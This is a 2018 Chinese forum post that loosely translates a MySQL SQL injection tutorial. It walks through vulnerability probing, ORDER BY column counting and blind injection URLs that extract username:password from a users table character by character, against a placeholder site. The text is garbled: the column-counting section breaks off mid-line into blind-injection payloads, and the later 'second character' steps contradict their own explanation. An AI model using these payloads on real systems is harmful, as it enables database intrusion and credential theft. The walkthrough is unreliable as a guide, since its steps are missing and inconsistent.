sszxf 发表于 2018-10-23 07:51:08

[原创]SQL注入指南(一)

  虽然现在有很多工具已经可以实现SQL自动注入,但是学习基本的SQL原理还是很有必要的。
  在学习SQL注入的过程中,发现外国友人写了一篇很好的SQL文章,比较详细的说明SQL注入的实现,对新手来说,理解文章里面的思路,能够比较有效的入门。
  网上能够搜索到原文和翻译,但大部分翻译均为机器翻译,可读性比较差,于是花了点时间,从自身理解的角度,重新翻译了这篇文章。在翻译的过程中,有加入自己对文章的理解,因此未必逐句逐句翻译原文,一是为了自己能过加深理解,二是为了尽可能提高可读性。
  原文的题目:“SQL Injection Tutorial by Marezzi (MySQL)”
  链接地址:https://www.exploit-db.com/papers/13045/
  以下是文章具体内容:(再次声明,下文加入自身的理解,未必逐句逐句翻译!)
  --------------------------------------------------------------
  在本教程中,我将介绍如何SQL注入工程和如何用它来获取一些有用的信息。
  首先:什么是SQL注入?
  它是在网络应用中最常见的漏洞之一。它允许***者执行的网址,并取得数据库查询访问一些机密信息等..(在短期内)。
  1.SQL注入(典型的)
  2.Blind SQL注入(较难的部分)
  1.SQL注入
  1). 检查漏洞
  比方说,我们有一些这样的网站
http://www.site.com/news.php?id=5  现在我们在末尾添加一个引号(')(quote)来测试该链接是否可***的SQL注入漏洞,如下所示
http://www.site.com/news.php?id=5'  如果我们获得一些类似如下的错误,这意味着存在SQL注入***:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."  2). 查找的列数
  为了找到“列”的数量,我们使用ORDER BY语句(告诉数据库如何列出搜索的结果)。因此如何使用?我们只要逐渐增加排序的列数,直到我们找到一个错误为止,如下所示:
http://www.site.com/news.php?id=5 order by 1   /* 95  页面正常加载,我们继续增加。
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98  还是一样,继续增加。
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99  此时如果页面不能正常加载,则该表中username这列中的第一个字符是char(99),使用ascii码转换器可以得知char(99)的字母是“c”。
  接着,我们来获取第二个字符:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99  注意,这里我把substring语句中的“,1,1”变成",2,1",现在该语句返回“从第2个字符开始且长度为1”的字符。
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99  结果为真,页面正常加载。
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107  不能正常加载,需要尝试更小的数字
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104  正常加载,尝试更大的数字
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105  不能加载!
  于是我们知道第二个字符是char(105),即字符“i”。到目前为止,我们知道前两个字符是“ci”。
  因此继续增加数字,直到结束。(当“>0”时不能正常加载页面,所有我们已经到最后的字符了)
  还有一些SQL盲注的工具,我认为sqlmap是最好的盲注工具了,但我依然尽可能尝试手动的方式。因为想有更好的SQL注入。
  希望你能够从这篇文章学到东西。
  Have FUN!
  --------------------------------------------------------------------
  以上是全文,文章由简入深,一步一步阐明SQL注入的方法和思路。
  由于测试的这个网站是不存在的,所以没有办法提供截图来展示,但可以开一个数据库,照着思路一步一步做,是能够看出效果的。
  读者如果对此有什么疑问,欢迎交流学习。


页: [1]
查看完整版本: [原创]SQL注入指南(一)